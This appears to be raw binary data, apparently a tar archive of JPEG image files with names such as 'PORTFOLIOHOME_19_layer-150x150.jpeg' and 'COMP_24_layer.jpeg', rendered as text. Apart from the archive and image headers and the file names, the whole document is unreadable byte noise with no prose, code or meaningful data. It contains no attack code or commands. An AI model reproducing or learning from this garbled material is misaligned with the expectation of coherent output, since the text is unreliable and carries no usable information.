1`FhǛmݩes*&ٻ[M;]RLB8eL|2@9>l`f$g5(0lޕ~)^dQO)l0n>ELmqf,9׷¨i`7[Ps0 WgTrm ?*L98'$1‰51ny̋*|Duoc+2 Ok,h%wG>8d Hc-I iko <0p= y:iTٌz5]]hz~\ێΓaVsʹuFs4$cFR"xJ:IgG+],*&K ppi{\|B7J<ꮀ iU7\2fĀ8=pTY3P0'Sη,6&GLKc;Ҳ>Jl6? Ï>'ɢM&|Q2d2Nd^ʛ>Vlo2G<OwsF𸆛2h.&<\224ޭﺞ4reqyW|%{FI7r`gNÄK Ƹ6,$yG Ěs PKtg.8hB2ErG4809*&w+An%4f0Jh^R cÜt16)A|uV{C  ?_?32顤OL"GD݋Fs]#6) ]Y6 "G')#'B#kCg)۳NYV30~@`+ jUq^oЗKtB',cƦ6[/v בȵ$GYiUxt/~:㉚q;‹cED?Ѽ=۝\dᖁMَB dd֖3Gӛu C1F'VWP.Q`y/]| p]d+k4`jJ< [v',.fln$"Δ:MfMlw8UB$`+B)IʪE%HΧWf gHO ϸuָJld՛@X?C]_?>i؍ zʖ:V[C]E("Uz~0qs ح`=Lsl8ltɘ9{v\㰛Ӛ_hc0agQYZ|ҦeK!Q;­ .L|vTث<䙭h;'Jx$pCdʔ>Al^eG̉ݧKf8`h39ʗQ#s2,$ Q%@ X4yoAԎJlQ~ڷbRzdS3%4nʞF-Dz8s8ּxO\6fN-2㐴paB|/3#$s?N*sFCLKn톛39@74956Pc3}@G-s@p%{(Әjf+Bhg-ܸU^5XzU2KWˋNAF1Zkg` Naiݮ'=sCk/hՒq;kI ZtD^ƣ PR4U dJUWv*NS5cJx"¦V-\M#@PYZuf0Vz;Vce NF% .BU"AʒG&Zk*SXb}HT卷J+m5EV%+JN (]$œ *\"S5VJ)~xWcn6a\8X$!򜩱.XUe_jk\=nfW~UB]}T':oZioJ2$VlUwT&;C)VOV-Y5tV˪c)%I^j[8ZuD_r+tuqd[duCGz,7JWH̀lXoʝj,vfl7Vb-9Z:k f(&PKW9H,t/M'+NU3Q +ҽU4˙CrOM3uʶViZȟ7z vV<y]>9O%.Q7$@t˞ӹPkL$aJR4ar)HGGf۩"Vjڋ8VԈ)]ҢTXHU$rLf((?mLRQ]1);QET/qU VdTL] {T)>T.z,D*e6R=;$$kSbdHB!)U Yt&SKRxI]"@JSqRG1jeyEiG{VYm;)Yṷ璴CȆQ<{OKO4o)ދ"\d9X&7K5F[&#Z5R9*1JƹH63_$@ԀtSVDp >nők]7KR9ZNM<-.fUuc"c |)]¿^ɦ͍Kw>WHt$5weΈ;-(}5xZuHtBb_7:.ANtvQdlְ# Dϴ lsE)us1dnlC^ f1*N9i:n+kc[4}#Ǻih.iYǩd]x)^>rTgZT2rwߎ5 +)4J6d7q+50DI#$S&<9(`hҹaƒbHCOUI:4Twδ܃28!%]?3"5'"+瑪75ҋװbbu\8ޕ:mTG>~DϖQ}Tsb̘#qu.WQ]D5 O 븸t0  ,Vgd< ]]B,fH;O;ra3HFΖ8 lah"]xX}S/Nۮlm}yWy:~}'4Lx BhRY&Nhپ-r3J8f}EqeikZv].G`ˋaIe~aW=gʎߌs67P‹"0,HQߦ1elݙeMl&೵UAF~}yS~WKqp>;\nǎ֮E%a`?2>V ]mGRu>owXd+CտO(E0KK*N'ĕ4|;-6O Ҡb|=' <!ɀH1f `m5g,fb5؍cѝ:hqIC\FS,hxI2]Aݽݯu+YϪ-ʁ]A=5-f#e4T_]~}0l.U_ԹRݰ4֝.tY}4Φg[y[RH3%sʲ9I+cC5'hǺGdp Tm5L혞#RnK3<]2z^c-HB" dcEsgp.fK6YΝ̗;w0 >4Nc}=,ϒxh70Shݣ*~&]A꺧.$U4Ҭza,X(5sf\!N#ؒxӆcM%9ϰؽAq7i 6ֳ>S[@;͞CkP\FOYlٸ"sl-qݩ엢gzpyX׹{Y̑fA/fas1G ׇ9]Oeg`q *.y5їKL$=깵^ 'ըoʩ1 w<en/{ v2nTCq ^V>284 x#QdsxY [Ӽ#~C^CpxZ+w.44LOeY!YƔdS$Vٴs\悎/4cd;NTqk#SH KHfn< } T0d.{&c@;:,AaX~ʳ2fqV֚]ZEs La?y!n[\=L_|ߞ=W%XóVT=ݮ9ۅ7ʾ8w:Vs0 pE-WIعU`aL_d͐(.G+]vPI*-{$CsJV3StOD"*\dle~.NAAʓPVRlti_C^Ngdr]>Ftx،́y6ܩ.wS1{6\^du{%zS8iA;7!-mn@=sb0].SvcU`(q쵇]V*:Ӝrek~((#>OG~T"V{\'tw?dd!oq#چ_uVDf?~>'zA%e?vWXq]\C2;]oN.z+Հ~ZR+qzfCvQ쇖ȵQ͸FU0phq8(S#Z-ӣuj.7VْZ:]V 7+.>TsϵBvv?P~mq 6=Ua=6( SXQ埐sB7RlƔ!)ȋv3S0kGODzN[sDžeKSJ8i/s0Nm+7k~WF8 hn3!pܩ21l=;%'w1yPk,"J+tbD%¿*$kSÒpl{*SRn?_'V,,[);}qyڝXFY(xV#jÕG+j 9U:ub5r =C!- W5V!GtsHSnfcݒFlPEeUF.؍WZ`x%ncIY=yYDi'X?& rpF7 }s2$D6AaX|eN3yb6ҮYYߍff:"' px ,2Aka"PƝ,_*'e'ʒ6˷q3]z R[#в5d ,cRUSyFѺ6W"n`−*J&QVZ՗U崄8VB*M*.;(B *$Y:SJ"T▝GPQ(܄JJ HXdjiƄ2lu aeZHkNv&hLR#w)UBℸ\GV9Kdu`e5cAc`\NsC_5<ZHAQhnTLȈR~$̠~Fds^͚݈YoƇOx1),+4`~,6 bH'm-vWJٞȧttшI.{e/03#6Qı;Dq 7(]..N x;e1UG2fJqkĭL$Iz|عnx~I/hu+,N;|lqtGK&漠B<Β`iPoUn[$cHw?w%W;bLD&a\,~)AT'Zf}x$6l'nBt3rP5/_gf}{G DD$tۓ%Ȏ6UoVÓH^8v;s񢉲Zm8YNs 'EMOcuW8dcMCi?{ HK|魍̔H w*fѓI<Lm [8D^b5C:#qib#_ڙMΞCKs},hH ,nw?3F\62-y_u;`BZ]\q+@oOV/_e/QYnFh'G?YS07h޿W0J5c3Wu,MInaWqK7NՍ one}T:X;a:h>e7Iꏁ0 LOH>/5fM"r'{{j'F~UW")㻛Bq!ˁ N=!{YcIbF\  8khTa݁ۆKg*iM`qd.<<֓Z&+Z׳p;?TX oǓ ށAfIEiDl $_ e?n喷ËEw) ADm&O#aq$W`k%sC$-a맋Š $7[ِLR;Ҳ|ȟ߬($:mvߦf!ke;HeZu$'E%fTE6@XeM7Lg (R~~[y +Diq%m$[jG-GçQ66 V:3;% r-JT8)ZCkC!ܬlUZmGP^elMB3OQ# Pw$%̾ X$$Bz<XMk8)hK5ɚoYHU,Oi迋l6NټYJ7,EYuˠŚYqw%{>X걊dR7 Q8RiX {|M>TRr&tph:S$iBeiA VeZв}4㑶Ҵ ȣ+9TdhVS{ZϠ UNǀE9L<"pNʸ^< .$('+ S͌+b%Cdpr(2 0)_|v}(!1dMa[d%fZ~b6^D)v po *mi0S4 ')÷DbaFH ';6*9BT/: *bsCSw"҈4y 3P8 SZ2Ug0r(쭾*"*uRp%Mz=j\cAf?u8x1֩1ʙR>$۔a;Tȳt}`hl'U+&mO_YN[)YLgsF/QmE<xsaS)٧6O;܌RNTʻ_>4$+fU\WW㛻qCi36B `I+Q}I$ԛRRk2ĶduU,,P؆ۨ﬍8j&cNaA$[p9cfUɱ\m;HJeVxW+;I~U)M$*ށ#ڇRNu#D\LdɁj+JR NB@*7MLjr0:W1b8sh'k~ub*N +OT,;(Uwf;ܨ^Ũ\Kdk;ouT#Wck7 ^p%ǰwC4ژ) *h>L9 䐜yKtEBNG:i[%&[Z~>.*XV+iIR'I+jr27]<,Qk_į͓hIK蟦fF6vcz6@/Ffc4WRo=&Hm+e|]Ept ղN! uoKMͰ,Jn+zXֽxǂ>nJIlǙvfGxFY L-cGa`yɧyd혭 %x{ݶ |ji]t -6g=.'?l2O!ls"eFQ|̝ΚA"ϦxE&3d%r ]<:1za&1(!g;X2@NqK!"*I$|Zs9k.Skd u8tQAr`nSHޕɚ1ni;;U?*~@.)CdWG ,k/S~_v Pbu&@Eہ؏jTrr/><+8lV:2N~޳Pl^^qn6OO:3]MRbN܈3혜xkQ?ae Uy|g_c2GtcݮടbW 28c@)u䞹C]P<+.Yb:WN$QV+w;r-\|-(}>v.DQ뭃TX3ǝjVY[s"?M` kiz1c=Ѩ#bWy٪6*SK T, c@u i DrTSucjNu0|N!w!X]p H6{\L2G#si޺ɘ 6&M, .-j~ BU- qoʎm_(ʂ*26ՌY`,uɦԛ8{Z,~c!{ƒ/w斿AanpW}wƜs׹2^&GQ]LǔE̒g0]?\וM &K>c @TqN7L [ֻ?DvaJw4`~ %pREf<]g`wR%SWF*M|MJ!t]0tzl\&LLl)lfǧ E(^Vs y1q2_?>?uaLJ;F8A[aZrҶʔ@! jM>+}#Hf],1nV]YYL6 =%fC"]/lHV;K~eBF HhB9K^ZW3d $4tIidi.j|wK]&+G?3(y#WVF^YLGC/Zu PUSyB*)9se9ʩ#|-ޓhzZC}q6r +)h+MQ5~U)u^IrMd-r%#~UWLIWtɫL&r-d^OY=zQnbl,=:^(+,wY&dmK4UTZl 1cmd-bR}=h6As 'XHѹN`hUtSZAWkkSnZ @ %%b&I \k"TY5iSa$) d"B$*|j!DZDإ4R&Мg}9'p-"젒;KKՕ$ ZrF=V՛$tT%N)U'uR.J(ܞZ-uyW>E Qk9!S-_2ו| 5U8+Թd nw D{.KHrSXBڬ&q(*=UI9!AB_Q{EY B+NQjQ)7Q9kP .Iܠ*#`ZjCi+JV it;#`4t8+k2RF*w BؽM8+VTN@,K>9SOV#R9DYL %\MhIHIR5*E3\hNª; JVulƒDXk+-rRJJ4Ue}Q tF\,mlv㴃µ.F<Ԙ SLrn HM XqXpUڞL^e xVJϘHU"rM=X jPpL4NA #dC.4 Sd:g7=܋O$^2~Wcw N.hn˾mkœp䉠i՜y)|'>0;+2i>D: eM3bZNXڍ5ZW0B.;\p#U3_v VqP+fF1jJrןu>8#u,!H|/L7Vd Js?kU8zk%k۱u*2=7NbZa)\nif9#~!tY;P 2Fu5_=3뙨ʐւgoۤ]f< ոL Yߑ'ɂiŕ|'E C\w32'{( ~\,X4 %Y~H(q[`/3Hݴ[wSGU7Ybfd89$ŨoO}Vd[ثV~(6-HFSH:W6Fa;m$"=/6f {(rt:ekӳWU€Te4qW d{QTy ? Ƹ5᠟#aAk+W ]g ݦɏh˚9NY*o(% i<qg 7.iXT]Zq~~ GP  O Y.v+IA+Μ?Wj^Y OGyV>Act2XRmkN7(=#,Ҵ]Z8 $sASFv${ĝ5egehT^uf8= J97{cfCb1LWWK(ݭm"ެpU\YXxAXZt>괈F^,|.3QIwSEUN2?W*,O=k8tnd fB4:n6T{ a>'?xˍS\y 7a>+QTwOas54]X$# HeeS Nl\13c=.V[U~NO旎|*jYcgǮ_95l(8zޖ~>k\I\\I&Ϻ 2u8-v h.{11]VC.W6G长f ?9utj R%sV\l3G[}b/[ÕO$i"N|[MNj9 wqyƟ'\涂/ʿ/kD>T9q2G"_iqd#򍎑r!KGH $^ִb*ޕ 8 lKAθHتr:dwUQ)&J} ` f1[G"~+R2`Dd^iMsxVR6=RezּX Ga`i!jC>6Y83E^6=EQV)rAʌ鰶#,DZ!-rݒ 7"ȕ5ϏM֑+,MGCYR]sdSBTu3nȦ&t'Ͳ>T.nQ !ܫ1e|` uXnjV]\QE^Z}^Qjw0hD$HSLĨm;"ʩ!܅<;*6ͺ튾KqRI@Em<|-|_eK2_2潕C5K}w%)zV;ĪrALVkdS6EΗkUD)}U챯 ~T%K ӸS ZHD<'JZV*"PZiԞZ+L ևO?QJ̲bBѲF>uWh*C]3WK3evYv4w\R/\s=uNI Ik]XmHIQU!$ԕJ"R:ZxIZ *QXq6ZDlR1744Um՘J fF֋]mH!ZZ7ۊéNJjE_oHa@6];(9>Q!I=E -ӽܨ$r&P*7J­0(Yl L`νr>qJ(mi5; lmM_ riH.%3M)F?uA#dEQ#NV$)qҹtxyPG; VXs؛бөuq!bh[qqLbIU nM]aըFXICeeq=kϖمĆHE@8 HݢWzQ$Ҭ๭pԶ-o_8#D+8#?,`1R?uy}Ե6и>CZn6]H{8jx)Ǖq4TJc,"))Œ %ZXU*i(K$Q! {)&jT2zsdkZnZ)c}\-izxct&DYPHt$j_%V~ }W1&;a bƝuݜa[v7E'_p­&ojITVOKZǨϬ'>Ccb8 tht/Slq5"yyRZȵsD$ O{ec09^-cgG?/}iH*I c֥UٱJKoKeV53 >@FK͠XfŘXVb,-"2Yce8(^?cl .ow0JZH==+ʂ`G.s>& ϒ. 48"c {6L"J .&$i)L%!*x!8)@;O:~CCOXwѾh.7 T{~&Uى!op;?y;% mn:9饴+xUI USTpq$ė<ޟ,>J)/Alxݤ) ,xKRŕ+q&srZi{OQz0zLcsH^Olӱ $ :_=x4vu_W IJFy ca\ۢ\O`x(–G[G flN4rKH˫ymtfTir0wewrH}~ElJKn XCԬ`fv^YN7믖KK*v J8Yflq:ol7P;lUI5+;Np#]PaMlh kFvo *P !?Ou%泺/8EwdnNM~gݕc#;\c:X&wcV-FEYEKņ<<|*V+-jUΝ&k'flP<ŏ!Y-`S*#,.3c53V)pʌDgpJ;nk"p?`,.HL{0\*[ł_bgulCZ }/W١6tR!';\HTMQj+K̟ :KSM)6Zmu}.__{>KR7n22.e*YN[%s]/M`n;k_,޳;nrpǍw>N6[X<V64qn~%;sJ-+.iwu woتC͏-(|]crgat|t.1I>>6A:lYDTM1PAXÙ45PZ2`G{MC,\6Gj0"hH# jR4!hRT5J;JPM`R&m# 5PQFnOQR0,2t+Qe kY!gcIZ7h$Tl) *⼃eдdpuEHTӺUZΑ;.B(aj^~$rP%^t'J2Zb0$k5*LEѺ67ZX ~է)bXI#fEtw $P)()TJr%QN`sU$ε^BAP~6a?xU.D•c3-!M.$X+&x;-Wy9A!Vu uJ㼣Ms U"QKQC _xBԖ7#';&(Ձ)Q8G?j&BK6kQKRX9( H6*tǔ+M!)d2#$"ӱhW0J˓ ?n'{rW<ԧt)uxR=ёStࡴ*J$օ:t)@NjNUv:šrD[EXB[iJv)A‘STuhET }Ԝ%,N*;&fK( e ➐ҴPLhéYr(ZH„I OA x&1*ĢiF_kGmZ諝Zj5V S\; a%XU&-Hdm-@ J,؅+/U'ny.:rhHmhsiE>6k:82mӇXLaO`cj,:yTu:'ӮgI lNpS6+Jqa6*ĭpE=ԭG;4kwM'k}rG*H)Y\Hd_`%qh$,$q;Zz龬2#`.2R+7־%si)wσ{4l9`c31U YƕE -Dװ V̠-9eJ8R ]ILҒz!Tښ]jFRd)%%?N)D!?+Fv(KPQ>0| KZl 5:Q}KvGOe̯*gN-6Zlk nɺ3A. U$Xҋm>.9mx+u uQ{3p"x[zݕI,E9Qc˜nšxqqRd288SW1NӨlQ1Vn}AgsK6h̒4&j)d)gZıgy}j@euFોd9eii-r at >AdaNR/i/Pe\7)ƽtLuzbiq݋'\?U21pX6sc%YK4F+&\H-MQ 3-ܮ Hq}/ !skgp;`fC▽"Gy7 &>PW6FLkCWL7lE.hX4k$ /wdDv\N9XQ쓜KSi7jd7ۗIm.c<^+-k.۲..Z]}/Tƕ 25gmP;RRMi"S0bkQ("R/5MsFWq7[J .{1 }qEDé?A7 2_Ԇ@Q?w=BAҴFܸ>6X6qOZKiM 1Bns?V1ǔ=]FC:Vǂ &,{T i(;ڛh`a!Zkic!F s GW[qz\?_s>CuY$ cFb;(m+Li!V!9E͢ DR庨-t@W,OgnKv ڏ(ғS}L zQo*p@nbT :vl[U鲸#3Ff:`|}Zb-euiD:{.21Ga Kh;`2Q|5. i;-<Ҹxs/4Tɵ6e]/envv#X߬[6A$.VӦk7&~w@썹TQ)z)dʮ+woQOz\`Ȏ2u*4qFרJʥ(rh)%ZYShF8+@݊13 -RpJ3*R4}VI^l!Ԯ&ԯc~TonT%6/vnwjFJG)^NTU XKR?~UW?*VK '- ^e꼋YXLZ22t $@Di#IihZHI2z@2tA„1Y3\hM_k3hQ)SK\sT$ɤ'*'r 1TADL'j%& R q(= i(&숡L'a\:2> 6ۣ)ZTob`iRRC rcR(-8(3P"M$:&.J_iZ%H-HöQ(Q\ a=ԺAА\B" BE*b(0rgJV.ulHbZ$v!’NWI ySGem(\eGb¼A9VMKV 1#5PC@%0Yd RA<r9U\ilTn꼍a@ɫbƞTs  'G^=-8mql+,p+޽3uxirYÀ:NM.뵇\YZѠk:ꤿg ;{(P9@;:X Q(;+ S#d rQrN%-v OK8u}'$@9q+&#O!T4n@pfX}Cqe{)Nt=-}JҲpaڹd\gE,췗rcG֍ifS2 4E&DJLCϤEZod MnKaiD^p=d/kY=lbus>au7q _+;՜w!uvRnDY .kZ؍0:OdA4ӾҠkfH-Y-Xή~_ˎ n[3r9̌ʫ*eV;-]LtڊVeQԖԟߌ1.c39w-i3%٭-6<'fc4iwYxxS3,5#K9fmZ ؅fNH~VwXedt2q#4 m*2;pCU~@b 'x*6)uKGz}LlݕF\6Yn^AyqyfccG!drM|7b+Hy>JW+`ʯk7%p}ۮ6.α@v 3\}&kc~xdUzܣ6䡇I!sTHmMՅ^ujkwb3嚈z.CuѓzM1eǐb?m8ͤ7D[J+,Yk‘4mtڏ#wʇ$T?[?.lL;#G$}CMy IuhQFOgMrvU zrencc GO+ nÛ¤:7(+,$)KI-969›ʊ.QǵM>Pc*$>QyToeF\ 9KCDѴIȴiLJxͨt`V:=ީKJ o&WKVA*[UbneX4xc ̎uR%i>OTvI!ous$dqG14qTpcIXٙe4vJM=lnY/6T@9ë(@R z" XrJR ~U`(Ƴ)R]0YعRLU)Y yL\T*-ӃI$i@+BLZ(0hU'ʘH5V򳼮U)TNNvʼ Y R@IW

            R𙄸1۩Nȃ@Z~ Ri&jpL軅MI Kh=kA *̪} )6DA141e ^TFBu1~P9C)%DݬU* BrU bPֲnOx1hTpS+jXie<)wdبI]9>NUw:Nw夌$$ 2E5GJZtLZV`4JLI%: 'B:A$6WrJK._AuTlV4էM+.Wy*Iժ8Ij7q@Jbp5b%R@&N'Rei&@_=VFlTړЂ=+R4존S$gj7GJxNԥ E[  j(DUA*LM!;@MH)d֙$ RM:K5#)Id2Rk@+ >J}ES!Ԑ(==&DIm&klF ^6г`-w*,q)eWu Ufp#eeP>f+FB@OSYJVŤMmj þTVpJ%. E 6>$@RҲ=YF STةRn){(:2Yck +١iyct}lqc__r~+izZ48}gLiܫ`nVnUJV6mQleaOS3ArDbƕR j?W&jO8ƒR$֑ztӔe~MkdR=;y3-[}›.X\ kAKޥ-B!`O.Wfn` z^[b1k>^r%}~t0Gj%hÏm:O 44On[,MlAL,$ ,Qf1$'/4|/tխ׷8NŽQ;7 uޜg)"q*gR\_ԝ#K3d> Z[z.;嘺9ԍoŰEK%Ρwأ!Ɵ[ 2>Ө<.#g2'2A#2cyQܺ3t$n' FKE2>q48Jv9װ.*ZHuy 2kudBYsy4p lR 6ŁN&q'\-(ƥZOoZA,e`%$V u-ZOKX\nOr@WK <s[Ne^:VgP2>T16>ȋXN}Rf4..0)aӀC9Uv#Y$+rj:W&3z[rV&DFk&]o.'f\WГLs 9eBayf Kw2A$TA5I%)#Xk}IeZ>I)5 ;$8D$8"$aZII%4EH$_LoEG.9 RI)ڼB6B-4i$тI&!FI'ZKC IU ~IaZĥy$S56JbjH8.TnjI)TVRITEJDIPV7(Q.^J]SڡvՌLI-sc=txyZ+Z$?LJ 7?$I/#۶D)$4.1i!H^$mJU 1tATdq$Q oy{O#^#7I$^s, Ŧ9[mZ9'kVI_W/ɳ[ `fF5Z I,:9<IVnf=M}DMM$]$m򹼬xzl k%$xQ,0zHEy5}.\^~srLii$6~CO$Y16H-AzN^g?D cEJ>?Xp 6u/7;IYv*^btn\-:!$7񶷃s6*^y 6I$xnǺ,ZI( +IkHtҡ;U]͎M+&ǃI%JIsh#D$ֳUi""IU&~}NCiBI-g3a2eʓ6b؃m$O1_6n1$pDQ|&2<I,J4 p$[$ߖ#.#_video-media/PORTFOLIOHOME_19_layer-150x150.jpeg000060400000006674151724237330014272 0ustar00JFIFICC_PROFILE0mntrRGB XYZ acsp- desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(bTRCd(cprt@l9pWw敱H;ZM;hx-j~>Q2cǩ'KS,Jث=WVKؤlUDݵ5!t_̀˫!ѫkk-NsL~6+vUS'V0sL#BedߕTV2a[Ump), QSar¢$uFJX\xZOBʐߪGV .,|W5_I"r%!{x/Eql7wC3}omU?'w\bGΥuN^{-/I)55T2:8lWlɣc79r{Vڌ6j>c Y "yV Hӓ쫵,/ϡ F<țTMD/av#s|9mG!nmuloDr'=Ӆ*XɵPi if`vW6TG4W45zI?UaqS6ѭ8{$4L1`'ga㖒9U.pÇRqUNO4D'9Z%ǎY@C8r+kܠu=JX5vv[kR{$wҽQAxTFPɔXwgd.g-MS0xj[ԴGxR#ȑ,s}tWkuǫπ:pd6+Rtn5Ud: eeȥQ-׉E]3dl},^+SN}PWIScxkeiV;R|[5u!zHˈƼnP##p ꫶xYi1ث\v!.{fP44UO[jCJtHZtA>CxOYd ʀvn{H):1apd$v[M%\b?9 M<G-X*(%$R7v8>+79S*R:34A-is #\25P9rPV(Wbx:ƥT:muUk"&P)<"_˄nψxy-Tn6~#P>} L3nlDT}=k}<3Hs{vZ`4s[id1;ŖH1 GK'c'Jsp]IR0Zu9MD)82PlHG3QtIJӳ>xʳ[+O,{޼>|vۚ0qO'?\RP<\;- i F}vÆc,5-wb~bH 弍:?uޯ .{=BןtZLX;wJr3Uaorů-vpۥŵRǎV"Ktѓ*9;u7z4zp}0HaN?^Gpq~wIYܥi^|FsúY/+m1ʎ?L 畱Y-SѶYUr(-D{li;,O p(ckcW2zۧY*aZ!$qz@ m'O(\-KtD wKCPXVZ)[,Lx=/۫u>(<]7LZ3qIB2Sj0ZgML$#}F`㩵T&ݡhɰH[ Vn'/e$.4qp# ]{gzx>Y#G4p]S6;{ܿ+gCN}-o,lkFSPw9 x´Dgy+1pGD e[sՍPX4 `'d*ӎJ9pV{(i@ =԰ X($$YE=xVcCvPtYQ s}Ս*XDas)<  ceSrGRz$euB'$XҐ!$ÁPiOd 8P8<@ v){#FOHaêaHӔ @$+7:P-rE- &XZq `n{ZX҄; %pjє#X`cZ{!0APi%&@w4$09A@Q1V0h OpPeBrLrB]Єhʖ!( ! m r)BsB\9)P ?video-media/COMP_24_layer.jpeg000060400000470642151724237330012055 0ustar00JFIFICC_PROFILE0mntrRGB XYZ acsp- desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(bTRCd(cprt!1A"Qa2q#BR3$bSr4C%(!1AQ"2aBq#R ?ȉmlR8+]ð+ i`SW!#ZZkRQ5 @0D􊓦I=%H@2I@ %IRHiT'I#H*A$T *EIԎ&IdIRROIRE$=%ISR*L %I= $BE"A$ tɓdԉ*L*DrREIt$zJIRT5&D*Jt t ti 4RzART)5#IsJ"1BBbR@2'II$Jd2i1j@ ILJjI:j@5$@ H@2d $ $*@5%I@ H@ I*@4'I'Iɩ:H#RT$$2$$jJjJ2I*@*DdM8\)vBTDr6mA `Ps|lLe ӧO׬ޫ +aM;ٵew\C8b8 l+exptX}0e{\6RG0p&.lӎtnpT$Q[}Gŗb8w*ϱ|& 3p @@ẈuoJޗ̿<1´ǎGcr-9'ќ{J Ǎ}gJyL!NY?"7Ojav2 VUw;K e lO3O'i>IܬIZxvgZ阣_yEffu< >GA=U͐k #V-9^,G#lN?PYڙߨEU8ϋ>-a]uEjtZGd6/BGWk'B#mǺte$ M!ADCuC5jj%P y $N;Ji<A )z 6\76V|N˚ʘ Ǻw*xcqݭ&]w|w UrҺg0]ͬ[K9A.1 rrr#=wߨqĸa٢^&#4OJIsaN:o6wC~3G{5A>˨ nucQ.g{.GKQ<w^I,\it9u-spTvk€~XLh81ػ\RZkS5f#&L֤֩# N0 Q DzATRL&FI$I $ $@$@5& :t*JR dTRt=MH$$N2*LjJT&%&)&@5%I@$5&FI@2I@2T $ 2$I:H $RdT_)W$MHNdL`*OIRFjNIF$@'Hd1; $JPZDdȊ2+Mi!e2`"I4 %H)*EI-%I)5"ҕ $Ԓt tI:HI:H:HI:H=%HHI:H:HIHIHI=%_(I%HL$RTH{Mht#VZ4Q*mTh%x[f$QNH <=ۍID`W\<Ƀ[nʦt\W^O_0EH$ܫ;#|_a*LK*> %y{ՠt<1NKύA<*SI'I$$w 8!N9=8:֍sG\+m浝Y K{.p%+ w&G$IC7trRH M$Be ;'E2W,r#X9 *d/L>QMUOnk}ݲ_'κT:=)#2_ _ؕrq1uB=07S1h,_ۉ?z:%FzWQTArYxb? $}Vc_[mQsM">=4)+_ˣtH8`qHu.kUuf0 Ӟkd-w^̐֠\vaGJ;/QyI|Ypq Ux,aݕQ`1c KiMҜVUpp 4쌸Ӊpm?Yo-eJÊ nNl6\-FD;JNff֗HMoin18365 #`Ûw*Q7GajoM/M͗6,62MV̤dJ)O]RWͭŸ_mKŵUDŽ6]w8#ܪD6w$a'-Whi'V߮̓ F#sK!]nl{]\PϮ?35Do<0դ֫cC⡲1/m_^;im+f3s (9J(u}FE@Q BQ&ApA'kI+kN؆3)^U+؝7+-C=u~\GÏ(U }?5mDq,tJq?JAdٟ,N3M=_u][t؝ Xufu@"6{5gφOdZI9} xܦ S=u㝫`5ߕaqu+MFb0Ƃa ex`M3!8!ͩ$o2p>S&mR9{tX-u یtSE`H?jwqxbtәsgh]F8ü|eׄ-5~]F:Od:wG>Jd`F5n~T23YR6{|mJ,*@=]W^YM.LY=R8TDK ?s`=qמ/W P*(s^$kKtq; s&72zBRgȺ$&)$|gATJɐ6+ed0GQE=`Z^u.C"nU?XP]H)$7{y%vx D \01UqF4V[!R |rwbU :FEWf7Y>17٧S;?3ekf-!+WaеYg$1C'FOKѬ|_4Nr(d;,Tk2V1cn-ia-26!U;Wl9evN\=w#4c4ݶ[- { Ö^^>l_˞ߏVsii#u4=s7[]FBS e8 FjHj0#`@ RTQ*EIRi*EIԚRj@5%I*LIR*JCAIII&A"Ԙ H*A$ *OII:HԊRI$RDR@2T$ zMI&D` "$T4"5&TSR*Iԕ%IRi*EIR#B2I@2THI:Hԝ$T$S#L dIL2@'I$$H)rI$D:dҤ!DzLd@$ȓ 2$I:HI$ 2tN$h5N&F=%HI:d$F֒t &$$$HI:HI*J $@2I@2I@2I@2IRTI$$H3'I%!g+8٥݊sLvmE7?eX\h SÆe\s?k'W?U47R݅(x/o +6Xk) Plr|w_:'uRhq #]n;R55qMs2.3Le~gd6Sp{٫u+Ȼc"v9y]=7cieptSAMA9~$cu?w].3uK4`(EprM$D5Ô깭[ z??Yl~DJrBio+l xp* ds]֋[jFD/h%ԦY}id,f> ":U- Y o3|%$IE<@)5R&rP+@RN@օҍC(T#}H).r${佧iu`tȻdx݋Vov0ZM(7}|57L:@qu1Ԉŀ^4\GT3K|eK3:y68'/gcs+cD}r;2Qi+/desYir!xy:u-/{Giz]h\4ק>o_ΖMKZreq'-k[o54sV{/3Z`ŭiu!Qzg7ɒ\hko[ GT:,ӯRь 0YU&']_ng&N:NBbJ42Td +SDEH~@QNցM/֓iCK^.a]wlvFXқ.x{7In @\}c˩_ $aZMYݦ692P8pѺ]ud$Ch2 ٠Zm7M(gnW0#ACռ~1"mev\k'̑wsrw?(ar߹*q\: ҿw\ْ\OUsGs/?#)^T q'qRF}ƕO=ԌG{w\f@M#Kk}HK YVyRԇ6XΠd-wL O8v[ d %7qy:g!lW&,H^HoS5?R#t(SU%"6QAQhcckHܧj)[-L j:nasr&@=:$\Ts_'N{g^Y Y!īYPHtp+$ub Bzn/xo;8NnتV vC9o31yA#uX>܇_ˑIfH?"gfS#qCGy1s߸_)s\Clt`CHvWy~u9K:;x jp-ohݕN$G]ڧk8W3֡0N\H=Wunk b'?/$~+es;FPJ$}(Ѻ3[u &HJ @"ӤdzJ-)@ &FIRtL zJ`$ jGI #%HԎi5#2&DBjA#LBRN0T:T2dT$$NRN S"BBI)&@2dI R$0$JdR*Ldȓ RdȈRRNɑ&@2I@5&EI&L*N 'L2OIRRNHE%@ "I)R$ԀJT JRTL $$$RTHI:d$$$D`)"I)$'I$N*I=RNNN*I$$$$$'I'Ir TM"C CܭEM+ڣ>127aG# Xuz珳Qf `]t.*P,^wPcs]_= z.ݺ'JOw5Ŏ&;KtӇr19ˆ>^1# j(H oLkPoKO=xr`R=LF` ͋ SrclIH?N^.BvZsc>V9WYer0g8eJis(]Ӻ7M +/'wv܉6E99k峺84{4pP3L]+wQǎ_y~ЦӭI@t UjiXNJֳ)8+ eoH8p:/2"n3;)DLklh\ӯ` &-cE_ާ6?/D$EIؼV ӨjK*QK, i`#rDƂ(G ZsTY/G3KxuC g<s}A]t/:f| *a*I #kClg.[A(8ܬ V+t`>HE3wW/lzy@TpV[#-S&'"CF[ ͺp*[ j4='IB&P5x!Y-M~R2WlJT-dw8P-(I5 dp+0Z1d*#x 2A*7I)eIu6#(S$ &4w& ۞uR>>ȓNilQ>멏ftQ?rsGf3ec796t:s4B1>TL~G`):C-LfO\-uNE@)d"I 278~TE$w^<&t D*@7$ gzG>Jwy>%jšM-')#luaDO 0|폙`\P[yd1~5. '?*V ]|s&.(#~;;ۡ\~XN\ikTYXdSx^Y1Z0͊23l?|W*&dne$d,ISn r Q9vXC\ӞzpI" ޓp&!\2prȅ \[$6w>KWW F+L"LJEEi}D NHp@ a$ d2IҤh2I$I$N`ԕ'jL2i*EIRDI$%I2LB$2!%!!ԚRjAFBj0MH*AJjEIRz"M_(I:H$FȒT0J$ RdRI)RtJF&I%HI&AN@ IA$TIH0$LE $ $RjN $ 5"ɀI24I  TN$RTԚRjH2$Ƀ&D'I4I !L2t0TH#TINi?ZӪQIې 